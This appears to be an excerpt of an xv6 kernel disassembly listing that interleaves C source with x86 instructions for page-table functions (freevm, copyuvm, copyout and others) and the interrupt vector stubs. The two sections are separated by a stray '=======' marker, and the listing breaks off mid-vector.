deallocuvm(pde_t *pgdir, uint oldsz, uint newsz)
{
80107090: 55 push %ebp
80107091: 89 e5 mov %esp,%ebp
80107093: 8b 55 0c mov 0xc(%ebp),%edx
80107096: 8b 4d 10 mov 0x10(%ebp),%ecx
80107099: 8b 45 08 mov 0x8(%ebp),%eax
pte_t *pte;
uint a, pa;
if(newsz >= oldsz)
8010709c: 39 d1 cmp %edx,%ecx
8010709e: 73 10 jae 801070b0 <deallocuvm+0x20>
kfree(v);
*pte = 0;
}
}
return newsz;
}
801070a0: 5d pop %ebp
801070a1: e9 3a fa ff ff jmp 80106ae0 <deallocuvm.part.0>
801070a6: 8d 76 00 lea 0x0(%esi),%esi
801070a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801070b0: 89 d0 mov %edx,%eax
801070b2: 5d pop %ebp
801070b3: c3 ret
801070b4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801070ba: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
801070c0 <freevm>:
// Free a page table and all the physical memory pages
// in the user part.
void
freevm(pde_t *pgdir)
{
801070c0: 55 push %ebp
801070c1: 89 e5 mov %esp,%ebp
801070c3: 57 push %edi
801070c4: 56 push %esi
801070c5: 53 push %ebx
801070c6: 83 ec 0c sub $0xc,%esp
801070c9: 8b 75 08 mov 0x8(%ebp),%esi
uint i;
if(pgdir == 0)
801070cc: 85 f6 test %esi,%esi
801070ce: 74 59 je 80107129 <freevm+0x69>
801070d0: 31 c9 xor %ecx,%ecx
801070d2: ba 00 00 00 80 mov $0x80000000,%edx
801070d7: 89 f0 mov %esi,%eax
801070d9: e8 02 fa ff ff call 80106ae0 <deallocuvm.part.0>
801070de: 89 f3 mov %esi,%ebx
801070e0: 8d be 00 10 00 00 lea 0x1000(%esi),%edi
801070e6: eb 0f jmp 801070f7 <freevm+0x37>
801070e8: 90 nop
801070e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801070f0: 83 c3 04 add $0x4,%ebx
panic("freevm: no pgdir");
deallocuvm(pgdir, KERNBASE, 0);
for(i = 0; i < NPDENTRIES; i++){
801070f3: 39 fb cmp %edi,%ebx
801070f5: 74 23 je 8010711a <freevm+0x5a>
if(pgdir[i] & PTE_P){
801070f7: 8b 03 mov (%ebx),%eax
801070f9: a8 01 test $0x1,%al
801070fb: 74 f3 je 801070f0 <freevm+0x30>
char * v = P2V(PTE_ADDR(pgdir[i]));
kfree(v);
801070fd: 25 00 f0 ff ff and $0xfffff000,%eax
80107102: 83 ec 0c sub $0xc,%esp
80107105: 83 c3 04 add $0x4,%ebx
80107108: 05 00 00 00 80 add $0x80000000,%eax
8010710d: 50 push %eax
8010710e: e8 ad b1 ff ff call 801022c0 <kfree>
80107113: 83 c4 10 add $0x10,%esp
uint i;
if(pgdir == 0)
panic("freevm: no pgdir");
deallocuvm(pgdir, KERNBASE, 0);
for(i = 0; i < NPDENTRIES; i++){
80107116: 39 fb cmp %edi,%ebx
80107118: 75 dd jne 801070f7 <freevm+0x37>
if(pgdir[i] & PTE_P){
char * v = P2V(PTE_ADDR(pgdir[i]));
kfree(v);
}
}
kfree((char*)pgdir);
8010711a: 89 75 08 mov %esi,0x8(%ebp)
}
8010711d: 8d 65 f4 lea -0xc(%ebp),%esp
80107120: 5b pop %ebx
80107121: 5e pop %esi
80107122: 5f pop %edi
80107123: 5d pop %ebp
if(pgdir[i] & PTE_P){
char * v = P2V(PTE_ADDR(pgdir[i]));
kfree(v);
}
}
kfree((char*)pgdir);
80107124: e9 97 b1 ff ff jmp 801022c0 <kfree>
freevm(pde_t *pgdir)
{
uint i;
if(pgdir == 0)
panic("freevm: no pgdir");
80107129: 83 ec 0c sub $0xc,%esp
8010712c: 68 e9 7c 10 80 push $0x80107ce9
80107131: e8 3a 92 ff ff call 80100370 <panic>
80107136: 8d 76 00 lea 0x0(%esi),%esi
80107139: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80107140 <clearpteu>:
// Clear PTE_U on a page. Used to create an inaccessible
// page beneath the user stack.
void
clearpteu(pde_t *pgdir, char *uva)
{
80107140: 55 push %ebp
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
80107141: 31 c9 xor %ecx,%ecx
// Clear PTE_U on a page. Used to create an inaccessible
// page beneath the user stack.
void
clearpteu(pde_t *pgdir, char *uva)
{
80107143: 89 e5 mov %esp,%ebp
80107145: 83 ec 08 sub $0x8,%esp
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
80107148: 8b 55 0c mov 0xc(%ebp),%edx
8010714b: 8b 45 08 mov 0x8(%ebp),%eax
8010714e: e8 7d f8 ff ff call 801069d0 <walkpgdir>
if(pte == 0)
80107153: 85 c0 test %eax,%eax
80107155: 74 05 je 8010715c <clearpteu+0x1c>
panic("clearpteu");
*pte &= ~PTE_U;
80107157: 83 20 fb andl $0xfffffffb,(%eax)
}
8010715a: c9 leave
8010715b: c3 ret
{
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
if(pte == 0)
panic("clearpteu");
8010715c: 83 ec 0c sub $0xc,%esp
8010715f: 68 fa 7c 10 80 push $0x80107cfa
80107164: e8 07 92 ff ff call 80100370 <panic>
80107169: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80107170 <copyuvm>:
// Given a parent process's page table, create a copy
// of it for a child.
pde_t*
copyuvm(pde_t *pgdir, uint sz)
{
80107170: 55 push %ebp
80107171: 89 e5 mov %esp,%ebp
80107173: 57 push %edi
80107174: 56 push %esi
80107175: 53 push %ebx
80107176: 83 ec 1c sub $0x1c,%esp
pde_t *d;
pte_t *pte;
uint pa, i, flags;
char *mem;
if((d = setupkvm()) == 0)
80107179: e8 52 fb ff ff call 80106cd0 <setupkvm>
8010717e: 85 c0 test %eax,%eax
80107180: 89 45 e0 mov %eax,-0x20(%ebp)
80107183: 0f 84 b2 00 00 00 je 8010723b <copyuvm+0xcb>
return 0;
for(i = 0; i < sz; i += PGSIZE){
80107189: 8b 4d 0c mov 0xc(%ebp),%ecx
8010718c: 85 c9 test %ecx,%ecx
8010718e: 0f 84 9c 00 00 00 je 80107230 <copyuvm+0xc0>
80107194: 31 f6 xor %esi,%esi
80107196: eb 4a jmp 801071e2 <copyuvm+0x72>
80107198: 90 nop
80107199: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
panic("copyuvm: page not present");
pa = PTE_ADDR(*pte);
flags = PTE_FLAGS(*pte);
if((mem = kalloc()) == 0)
goto bad;
memmove(mem, (char*)P2V(pa), PGSIZE);
801071a0: 83 ec 04 sub $0x4,%esp
801071a3: 81 c7 00 00 00 80 add $0x80000000,%edi
801071a9: 68 00 10 00 00 push $0x1000
801071ae: 57 push %edi
801071af: 50 push %eax
801071b0: e8 3b d6 ff ff call 801047f0 <memmove>
if(mappages(d, (void*)i, PGSIZE, V2P(mem), flags) < 0)
801071b5: 58 pop %eax
801071b6: 5a pop %edx
801071b7: 8d 93 00 00 00 80 lea -0x80000000(%ebx),%edx
801071bd: 8b 45 e0 mov -0x20(%ebp),%eax
801071c0: ff 75 e4 pushl -0x1c(%ebp)
801071c3: b9 00 10 00 00 mov $0x1000,%ecx
801071c8: 52 push %edx
801071c9: 89 f2 mov %esi,%edx
801071cb: e8 80 f8 ff ff call 80106a50 <mappages>
801071d0: 83 c4 10 add $0x10,%esp
801071d3: 85 c0 test %eax,%eax
801071d5: 78 3e js 80107215 <copyuvm+0xa5>
uint pa, i, flags;
char *mem;
if((d = setupkvm()) == 0)
return 0;
for(i = 0; i < sz; i += PGSIZE){
801071d7: 81 c6 00 10 00 00 add $0x1000,%esi
801071dd: 39 75 0c cmp %esi,0xc(%ebp)
801071e0: 76 4e jbe 80107230 <copyuvm+0xc0>
if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0)
801071e2: 8b 45 08 mov 0x8(%ebp),%eax
801071e5: 31 c9 xor %ecx,%ecx
801071e7: 89 f2 mov %esi,%edx
801071e9: e8 e2 f7 ff ff call 801069d0 <walkpgdir>
801071ee: 85 c0 test %eax,%eax
801071f0: 74 5a je 8010724c <copyuvm+0xdc>
panic("copyuvm: pte should exist");
if(!(*pte & PTE_P))
801071f2: 8b 18 mov (%eax),%ebx
801071f4: f6 c3 01 test $0x1,%bl
801071f7: 74 46 je 8010723f <copyuvm+0xcf>
panic("copyuvm: page not present");
pa = PTE_ADDR(*pte);
801071f9: 89 df mov %ebx,%edi
flags = PTE_FLAGS(*pte);
801071fb: 81 e3 ff 0f 00 00 and $0xfff,%ebx
80107201: 89 5d e4 mov %ebx,-0x1c(%ebp)
for(i = 0; i < sz; i += PGSIZE){
if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0)
panic("copyuvm: pte should exist");
if(!(*pte & PTE_P))
panic("copyuvm: page not present");
pa = PTE_ADDR(*pte);
80107204: 81 e7 00 f0 ff ff and $0xfffff000,%edi
flags = PTE_FLAGS(*pte);
if((mem = kalloc()) == 0)
8010720a: e8 61 b2 ff ff call 80102470 <kalloc>
8010720f: 85 c0 test %eax,%eax
80107211: 89 c3 mov %eax,%ebx
80107213: 75 8b jne 801071a0 <copyuvm+0x30>
goto bad;
}
return d;
bad:
freevm(d);
80107215: 83 ec 0c sub $0xc,%esp
80107218: ff 75 e0 pushl -0x20(%ebp)
8010721b: e8 a0 fe ff ff call 801070c0 <freevm>
return 0;
80107220: 83 c4 10 add $0x10,%esp
80107223: 31 c0 xor %eax,%eax
}
80107225: 8d 65 f4 lea -0xc(%ebp),%esp
80107228: 5b pop %ebx
80107229: 5e pop %esi
8010722a: 5f pop %edi
8010722b: 5d pop %ebp
8010722c: c3 ret
8010722d: 8d 76 00 lea 0x0(%esi),%esi
uint pa, i, flags;
char *mem;
if((d = setupkvm()) == 0)
return 0;
for(i = 0; i < sz; i += PGSIZE){
80107230: 8b 45 e0 mov -0x20(%ebp),%eax
return d;
bad:
freevm(d);
return 0;
}
80107233: 8d 65 f4 lea -0xc(%ebp),%esp
80107236: 5b pop %ebx
80107237: 5e pop %esi
80107238: 5f pop %edi
80107239: 5d pop %ebp
8010723a: c3 ret
pte_t *pte;
uint pa, i, flags;
char *mem;
if((d = setupkvm()) == 0)
return 0;
8010723b: 31 c0 xor %eax,%eax
8010723d: eb e6 jmp 80107225 <copyuvm+0xb5>
for(i = 0; i < sz; i += PGSIZE){
if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0)
panic("copyuvm: pte should exist");
if(!(*pte & PTE_P))
panic("copyuvm: page not present");
8010723f: 83 ec 0c sub $0xc,%esp
80107242: 68 1e 7d 10 80 push $0x80107d1e
80107247: e8 24 91 ff ff call 80100370 <panic>
if((d = setupkvm()) == 0)
return 0;
for(i = 0; i < sz; i += PGSIZE){
if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0)
panic("copyuvm: pte should exist");
8010724c: 83 ec 0c sub $0xc,%esp
8010724f: 68 04 7d 10 80 push $0x80107d04
80107254: e8 17 91 ff ff call 80100370 <panic>
80107259: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80107260 <uva2ka>:
//PAGEBREAK!
// Map user virtual address to kernel address.
char*
uva2ka(pde_t *pgdir, char *uva)
{
80107260: 55 push %ebp
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
80107261: 31 c9 xor %ecx,%ecx
//PAGEBREAK!
// Map user virtual address to kernel address.
char*
uva2ka(pde_t *pgdir, char *uva)
{
80107263: 89 e5 mov %esp,%ebp
80107265: 83 ec 08 sub $0x8,%esp
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
80107268: 8b 55 0c mov 0xc(%ebp),%edx
8010726b: 8b 45 08 mov 0x8(%ebp),%eax
8010726e: e8 5d f7 ff ff call 801069d0 <walkpgdir>
if((*pte & PTE_P) == 0)
80107273: 8b 00 mov (%eax),%eax
return 0;
if((*pte & PTE_U) == 0)
80107275: 89 c2 mov %eax,%edx
80107277: 83 e2 05 and $0x5,%edx
8010727a: 83 fa 05 cmp $0x5,%edx
8010727d: 75 11 jne 80107290 <uva2ka+0x30>
return 0;
return (char*)P2V(PTE_ADDR(*pte));
8010727f: 25 00 f0 ff ff and $0xfffff000,%eax
}
80107284: c9 leave
pte = walkpgdir(pgdir, uva, 0);
if((*pte & PTE_P) == 0)
return 0;
if((*pte & PTE_U) == 0)
return 0;
return (char*)P2V(PTE_ADDR(*pte));
80107285: 05 00 00 00 80 add $0x80000000,%eax
}
8010728a: c3 ret
8010728b: 90 nop
8010728c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
pte = walkpgdir(pgdir, uva, 0);
if((*pte & PTE_P) == 0)
return 0;
if((*pte & PTE_U) == 0)
return 0;
80107290: 31 c0 xor %eax,%eax
return (char*)P2V(PTE_ADDR(*pte));
}
80107292: c9 leave
80107293: c3 ret
80107294: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8010729a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
801072a0 <copyout>:
// Copy len bytes from p to user address va in page table pgdir.
// Most useful when pgdir is not the current page table.
// uva2ka ensures this only works for PTE_U pages.
int
copyout(pde_t *pgdir, uint va, void *p, uint len)
{
801072a0: 55 push %ebp
801072a1: 89 e5 mov %esp,%ebp
801072a3: 57 push %edi
801072a4: 56 push %esi
801072a5: 53 push %ebx
801072a6: 83 ec 1c sub $0x1c,%esp
801072a9: 8b 5d 14 mov 0x14(%ebp),%ebx
801072ac: 8b 55 0c mov 0xc(%ebp),%edx
801072af: 8b 7d 10 mov 0x10(%ebp),%edi
char *buf, *pa0;
uint n, va0;
buf = (char*)p;
while(len > 0){
801072b2: 85 db test %ebx,%ebx
801072b4: 75 40 jne 801072f6 <copyout+0x56>
801072b6: eb 70 jmp 80107328 <copyout+0x88>
801072b8: 90 nop
801072b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
va0 = (uint)PGROUNDDOWN(va);
pa0 = uva2ka(pgdir, (char*)va0);
if(pa0 == 0)
return -1;
n = PGSIZE - (va - va0);
801072c0: 8b 55 e4 mov -0x1c(%ebp),%edx
801072c3: 89 f1 mov %esi,%ecx
801072c5: 29 d1 sub %edx,%ecx
801072c7: 81 c1 00 10 00 00 add $0x1000,%ecx
801072cd: 39 d9 cmp %ebx,%ecx
801072cf: 0f 47 cb cmova %ebx,%ecx
if(n > len)
n = len;
memmove(pa0 + (va - va0), buf, n);
801072d2: 29 f2 sub %esi,%edx
801072d4: 83 ec 04 sub $0x4,%esp
801072d7: 01 d0 add %edx,%eax
801072d9: 51 push %ecx
801072da: 57 push %edi
801072db: 50 push %eax
801072dc: 89 4d e4 mov %ecx,-0x1c(%ebp)
801072df: e8 0c d5 ff ff call 801047f0 <memmove>
len -= n;
buf += n;
801072e4: 8b 4d e4 mov -0x1c(%ebp),%ecx
{
char *buf, *pa0;
uint n, va0;
buf = (char*)p;
while(len > 0){
801072e7: 83 c4 10 add $0x10,%esp
if(n > len)
n = len;
memmove(pa0 + (va - va0), buf, n);
len -= n;
buf += n;
va = va0 + PGSIZE;
801072ea: 8d 96 00 10 00 00 lea 0x1000(%esi),%edx
n = PGSIZE - (va - va0);
if(n > len)
n = len;
memmove(pa0 + (va - va0), buf, n);
len -= n;
buf += n;
801072f0: 01 cf add %ecx,%edi
{
char *buf, *pa0;
uint n, va0;
buf = (char*)p;
while(len > 0){
801072f2: 29 cb sub %ecx,%ebx
801072f4: 74 32 je 80107328 <copyout+0x88>
va0 = (uint)PGROUNDDOWN(va);
801072f6: 89 d6 mov %edx,%esi
pa0 = uva2ka(pgdir, (char*)va0);
801072f8: 83 ec 08 sub $0x8,%esp
char *buf, *pa0;
uint n, va0;
buf = (char*)p;
while(len > 0){
va0 = (uint)PGROUNDDOWN(va);
801072fb: 89 55 e4 mov %edx,-0x1c(%ebp)
801072fe: 81 e6 00 f0 ff ff and $0xfffff000,%esi
pa0 = uva2ka(pgdir, (char*)va0);
80107304: 56 push %esi
80107305: ff 75 08 pushl 0x8(%ebp)
80107308: e8 53 ff ff ff call 80107260 <uva2ka>
if(pa0 == 0)
8010730d: 83 c4 10 add $0x10,%esp
80107310: 85 c0 test %eax,%eax
80107312: 75 ac jne 801072c0 <copyout+0x20>
len -= n;
buf += n;
va = va0 + PGSIZE;
}
return 0;
}
80107314: 8d 65 f4 lea -0xc(%ebp),%esp
buf = (char*)p;
while(len > 0){
va0 = (uint)PGROUNDDOWN(va);
pa0 = uva2ka(pgdir, (char*)va0);
if(pa0 == 0)
return -1;
80107317: b8 ff ff ff ff mov $0xffffffff,%eax
len -= n;
buf += n;
va = va0 + PGSIZE;
}
return 0;
}
8010731c: 5b pop %ebx
8010731d: 5e pop %esi
8010731e: 5f pop %edi
8010731f: 5d pop %ebp
80107320: c3 ret
80107321: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80107328: 8d 65 f4 lea -0xc(%ebp),%esp
memmove(pa0 + (va - va0), buf, n);
len -= n;
buf += n;
va = va0 + PGSIZE;
}
return 0;
8010732b: 31 c0 xor %eax,%eax
}
8010732d: 5b pop %ebx
8010732e: 5e pop %esi
8010732f: 5f pop %edi
80107330: 5d pop %ebp
80107331: c3 ret
=======
80105cc0: 55 push %ebp
80105cc1: 89 e5 mov %esp,%ebp
80105cc3: 83 ec 18 sub $0x18,%esp
consoleintr(uartgetc);
80105cc6: c7 04 24 90 5b 10 80 movl $0x80105b90,(%esp)
80105ccd: e8 de aa ff ff call 801007b0 <consoleintr>
}
80105cd2: c9 leave
80105cd3: c3 ret
80105cd4 <vector0>:
80105cd4: 6a 00 push $0x0
80105cd6: 6a 00 push $0x0
80105cd8: e9 40 fb ff ff jmp 8010581d <alltraps>
80105cdd <vector1>:
80105cdd: 6a 00 push $0x0
80105cdf: 6a 01 push $0x1
80105ce1: e9 37 fb ff ff jmp 8010581d <alltraps>
80105ce6 <vector2>:
80105ce6: 6a 00 push $0x0
80105ce8: 6a 02 push $0x2
80105cea: e9 2e fb ff ff jmp 8010581d <alltraps>
80105cef <vector3>:
80105cef: 6a 00 push $0x0
80105cf1: 6a 03 push $0x3
80105cf3: e9 25 fb ff ff jmp 8010581d <alltraps>
80105cf8 <vector4>:
80105cf8: 6a 00 push $0x0
80105cfa: 6a 04 push $0x4
80105cfc: e9 1c fb ff ff jmp 8010581d <alltraps>
80105d01 <vector5>:
80105d01: 6a 00 push $0x0
80105d03: 6a 05 push $0x5
80105d05: e9 13 fb ff ff jmp 8010581d <alltraps>
80105d0a <vector6>:
80105d0a: 6a 00 push $0x0
80105d0c: 6a 06 push $0x6
80105d0e: e9 0a fb ff ff jmp 8010581d <alltraps>
80105d13 <vector7>:
80105d13: 6a 00 push $0x0
80105d15: 6a 07 push $0x7
80105d17: e9 01 fb ff ff jmp 8010581d <alltraps>
80105d1c <vector8>:
80105d1c: 6a 08 push $0x8
80105d1e: e9 fa fa ff ff jmp 8010581d <alltraps>
80105d23 <vector9>:
80105d23: 6a 00 push $0x0
80105d25: 6a 09 push $0x9
80105d27: e9 f1 fa ff ff jmp 8010581d <alltraps>
80105d2c <vector10>:
80105d2c: 6a 0a push $0xa
80105d2e: e9 ea fa ff ff jmp 8010581d <alltraps>
80105d33 <vector11>:
80105d33: 6a 0b push $0xb
80105d35: e9 e3 fa ff ff jmp 8010581d <alltraps>
80105d3a <vector12>:
80105d3a: 6a 0c push $0xc
80105d3c: e9 dc fa ff ff jmp 8010581d <alltraps>
80105d41 <vector13>:
80105d41: 6a 0d push $0xd
80105d43: e9 d5 fa ff ff jmp 8010581d <alltraps>
80105d48 <vector14>:
80105d48: 6a 0e push $0xe
80105d4a: e9 ce fa ff ff jmp 8010581d <alltraps>
80105d4f <vector15>:
80105d4f: 6a 00 push $0x0
80105d51: 6a 0f push $0xf
80105d53: e9 c5 fa ff ff jmp 8010581d <alltraps>
80105d58 <vector16>:
80105d58: 6a 00 push $0x0
80105d5a: 6a 10 push $0x10
80105d5c: e9 bc fa ff ff jmp 8010581d <alltraps>
80105d61 <vector17>:
80105d61: 6a 11 push $0x11
80105d63: e9 b5 fa ff ff jmp 8010581d <alltraps>
80105d68 <vector18>:
80105d68: 6a 00 push $0x0
80105d6a: 6a 12 push $0x12
80105d6c: e9 ac fa ff ff jmp 8010581d <alltraps>
80105d71 <vector19>:
80105d71: 6a 00 push $0x0
80105d73: 6a 13 push $0x13
80105d75: e9 a3 fa ff ff jmp 8010581d <alltraps>
80105d7a <vector20>:
80105d7a: 6a 00 push $0x0
80105d7c: 6a 14 push $0x14
80105d7e: e9 9a fa ff ff jmp 8010581d <alltraps>
80105d83 <vector21>:
80105d83: 6a 00 push $0x0
80105d85: 6a 15 push $0x15
80105d87: e9 91 fa ff ff jmp 8010581d <alltraps>
80105d8c <vector22>:
80105d8c: 6a 00 push $0x0
80105d8e: 6a 16 push $0x16
80105d90: e9 88 fa ff ff jmp 8010581d <alltraps>
80105d95 <vector23>:
80105d95: 6a 00 push $0x0
80105d97: 6a 17 push $0x17
80105d99: e9 7f fa ff ff jmp 8010581d <alltraps>
80105d9e <vector24>:
80105d9e: 6a 00 push $0x0
80105da0: 6a 18 push $0x18
80105da2: e9 76 fa ff ff jmp 8010581d <alltraps>
80105da7 <vector25>:
80105da7: 6a 00 push $0x0
80105da9: 6a 19 push $0x19
80105dab: e9 6d fa ff ff jmp 8010581d <alltraps>
80105db0 <vector26>:
80105db0: 6a 00 push $0x0
80105db2: 6a 1a push $0x1a
80105db4: e9 64 fa ff ff jmp 8010581d <alltraps>
80105db9 <vector27>:
80105db9: 6a 00 push $0x0
80105dbb: 6a 1b push $0x1b
80105dbd: e9 5b fa ff ff jmp 8010581d <alltraps>
80105dc2 <vector28>:
80105dc2: 6a 00 push $0x0
80105dc4: 6a 1c push $0x1c
80105dc6: e9 52 fa ff ff jmp 8010581d <alltraps>
80105dcb <vector29>:
80105dcb: 6a 00 push $0x0
80105dcd: 6a 1d push $0x1d
80105dcf: e9 49 fa ff ff jmp 8010581d <alltraps>
80105dd4 <vector30>:
80105dd4: 6a 00 push $0x0
80105dd6: 6a 1e push $0x1e
80105dd8: e9 40 fa ff ff jmp 8010581d <alltraps>
80105ddd <vector31>:
80105ddd: 6a 00 push $0x0
80105ddf: 6a 1f push $0x1f
80105de1: e9 37 fa ff ff jmp 8010581d <alltraps>
80105de6 <vector32>:
80105de6: 6a 00 push $0x0
80105de8: 6a 20 push $0x20
80105dea: e9 2e fa ff ff jmp 8010581d <alltraps>
80105def <vector33>:
80105def: 6a 00 push $0x0
80105df1: 6a 21 push $0x21
80105df3: e9 25 fa ff ff jmp 8010581d <alltraps>
80105df8 <vector34>:
80105df8: 6a 00 push $0x0
80105dfa: 6a 22 push $0x22
80105dfc: e9 1c fa ff ff jmp 8010581d <alltraps>
80105e01 <vector35>:
80105e01: 6a 00 push $0x0
80105e03: 6a 23 push $0x23
80105e05: e9 13 fa ff ff jmp 8010581d <alltraps>
80105e0a <vector36>:
80105e0a: 6a 00 push $0x0
80105e0c: 6a 24 push $0x24
80105e0e: e9 0a fa ff ff jmp 8010581d <alltraps>
80105e13 <vector37>:
80105e13: 6a 00 push $0x0
80105e15: 6a 25 push $0x25
80105e17: e9 01 fa ff ff jmp 8010581d <alltraps>
80105e1c <vector38>:
80105e1c: 6a 00 push $0x0
80105e1e: 6a 26 push $0x26
80105e20: e9 f8 f9 ff ff jmp 8010581d <alltraps>
80105e25 <vector39>:
80105e25: 6a 00 push $0x0
80105e27: 6a 27 push $0x27
80105e29: e9 ef f9 ff ff jmp 8010581d <alltraps>
80105e2e <vector40>:
80105e2e: 6a 00 push $0x0
80105e30: 6a 28 push $0x28
80105e32: e9 e6 f9 ff ff jmp 8010581d <alltraps>
80105e37 <vector41>:
80105e37: 6a 00 push $0x0
80105e39: 6a 29 push $0x29
80105e3b: e9 dd f9 ff ff jmp 8010581d <alltraps>
80105e40 <vector42>:
80105e40: 6a 00 push $0x0
80105e42: 6a 2a push $0x2a
80105e44: e9 d4 f9 ff ff jmp 8010581d <alltraps>
80105e49 <vector43>:
80105e49: 6a 00 push $0x0
80105e4b: 6a 2b push $0x2b
80105e4d: e9 cb f9 ff ff jmp 8010581d <alltraps>
80105e52 <vector44>:
80105e52: 6a 00 push $0x0
80105e54: 6a 2c push $0x2c
80105e56: e9 c2 f9 ff ff jmp 8010581d <alltraps>
80105e5b <vector45>:
80105e5b: 6a 00 push $0x0
80105e5d: 6a 2d push $0x2d
80105e5f: e9 b9 f9 ff ff jmp 8010581d <alltraps>
80105e64 <vector46>:
80105e64: 6a 00 push $0x0
80105e66: 6a 2e push $0x2e
80105e68: e9 b0 f9 ff ff jmp 8010581d <alltraps>
80105e6d <vector47>:
80105e6d: 6a 00 push $0x0
80105e6f: 6a 2f push $0x2f
80105e71: e9 a7 f9 ff ff jmp 8010581d <alltraps>
80105e76 <vector48>:
80105e76: 6a 00 push $0x0
80105e78: 6a 30 push $0x30
80105e7a: e9 9e f9 ff ff jmp 8010581d <alltraps>
80105e7f <vector49>:
80105e7f: 6a 00 push $0x0
80105e81: 6a 31 push $0x31
80105e83: e9 95 f9 ff ff jmp 8010581d <alltraps>
80105e88 <vector50>:
80105e88: 6a 00 push $0x0
80105e8a: 6a 32 push $0x32
80105e8c: e9 8c f9 ff ff jmp 8010581d <alltraps>
80105e91 <vector51>:
80105e91: 6a 00 push $0x0
80105e93: 6a 33 push $0x33
80105e95: e9 83 f9 ff ff jmp 8010581d <alltraps>
80105e9a <vector52>:
80105e9a: 6a 00 push $0x0
80105e9c: 6a 34 push $0x34
80105e9e: e9 7a f9 ff ff jmp 8010581d <alltraps>
80105ea3 <vector53>:
80105ea3: 6a 00 push $0x0
80105ea5: 6a 35 push $0x35
80105ea7: e9 71 f9 ff ff jmp 8010581d <alltraps>
80105eac <vector54>:
80105eac: 6a 00 push $0x0
80105eae: 6a 36 push $0x36
80105eb0: e9 68 f9 ff ff jmp 8010581d <alltraps>
80105eb5 <vector55>:
80105eb5: 6a 00 push $0x0
80105eb7: 6a 37 push $0x37
80105eb9: e9 5f f9 ff ff jmp 8010581d <alltraps>
80105ebe <vector56>:
80105ebe: 6a 00 push $0x0
80105ec0: 6a 38 push $0x38
80105ec2: e9 56 f9 ff ff jmp 8010581d <alltraps>
80105ec7 <vector57>:
80105ec7: 6a 00 push $0x0
80105ec9: 6a 39 push $0x39
80105ecb: e9 4d f9 ff ff jmp 8010581d <alltraps>
80105ed0 <vector58>:
80105ed0: 6a 00 push $0x0
80105ed2: 6a 3a push $0x3a
80105ed4: e9 44 f9 ff ff jmp 8010581d <alltraps>
80105ed9 <vector59>:
80105ed9: 6a 00 push $0x0
80105edb: 6a 3b push $0x3b
80105edd: e9 3b f9 ff ff jmp 8010581d <alltraps>
80105ee2 <vector60>:
80105ee2: 6a 00 push $0x0
80105ee4: 6a 3c push $0x3c
80105ee6: e9 32 f9 ff ff jmp 8010581d <alltraps>
80105eeb <vector61>:
80105eeb: 6a 00 push $0x0
80105eed: 6a 3d push $0x3d
80105eef: e9 29 f9 ff ff jmp 8010581d <alltraps>
80105ef4 <vector62>:
80105ef4: 6a 00 push $0x0
80105ef6: 6a 3e push $0x3e
80105ef8: e9 20 f9 ff ff jmp 8010581d <alltraps>
80105efd <vector63>:
80105efd: 6a 00 push $0x0
80105eff: 6a 3f push $0x3f
80105f01: e9 17 f9 ff ff jmp 8010581d <alltraps>
80105f06 <vector64>:
80105f06: 6a 00 push $0x0
80105f08: 6a 40 push $0x40
80105f0a: e9 0e f9 ff ff jmp 8010581d <alltraps>
80105f0f <vector65>:
80105f0f: 6a 00 push $0x0
80105f11: 6a 41 push $0x41
80105f13: e9 05 f9 ff ff jmp 8010581d <alltraps>
80105f18 <vector66>:
80105f18: 6a 00 push $0x0
80105f1a: 6a 42 push $0x42
80105f1c: e9 fc f8 ff ff jmp 8010581d <alltraps>
80105f21 <vector67>:
80105f21: 6a 00 push $0x0
80105f23: 6a 43 push $0x43
80105f25: e9 f3 f8 ff ff jmp 8010581d <alltraps>
80105f2a <vector68>:
80105f2a: 6a 00 push $0x0
80105f2c: 6a 44 push $0x44
80105f2e: e9 ea f8 ff ff jmp 8010581d <alltraps>
80105f33 <vector69>:
80105f33: 6a 00 push $0x0
80105f35: 6a 45 push $0x45
80105f37: e9 e1 f8 ff ff jmp 8010581d <alltraps>
80105f3c <vector70>:
80105f3c: 6a 00 push $0x0
80105f3e: 6a 46 push $0x46
80105f40: e9 d8 f8 ff ff jmp 8010581d <alltraps>
80105f45 <vector71>:
80105f45: 6a 00 push $0x0
80105f47: 6a 47 push $0x47
80105f49: e9 cf f8 ff ff jmp 8010581d <alltraps>
80105f4e <vector72>:
80105f4e: 6a 00 push $0x0
80105f50: 6a 48 push $0x48
80105f52: e9 c6 f8 ff ff jmp 8010581d <alltraps>
80105f57 <vector73>:
80105f57: 6a 00 push $0x0
80105f59: 6a 49 push $0x49
80105f5b: e9 bd f8 ff ff jmp 8010581d <alltraps>
80105f60 <vector74>:
80105f60: 6a 00 push $0x0
80105f62: 6a 4a push $0x4a
80105f64: e9 b4 f8 ff ff jmp 8010581d <alltraps>
80105f69 <vector75>:
80105f69: 6a 00 push $0x0
80105f6b: 6a 4b push $0x4b
80105f6d: e9 ab f8 ff ff jmp 8010581d <alltraps>
80105f72 <vector76>:
80105f72: 6a 00 push $0x0
80105f74: 6a 4c push $0x4c
80105f76: e9 a2 f8 ff ff jmp 8010581d <alltraps>
80105f7b <vector77>:
80105f7b: 6a 00 push $0x0
80105f7d: 6a 4d push $0x4d
80105f7f: e9 99 f8 ff ff jmp 8010581d <alltraps>
80105f84 <vector78>:
80105f84: 6a 00 push $0x0
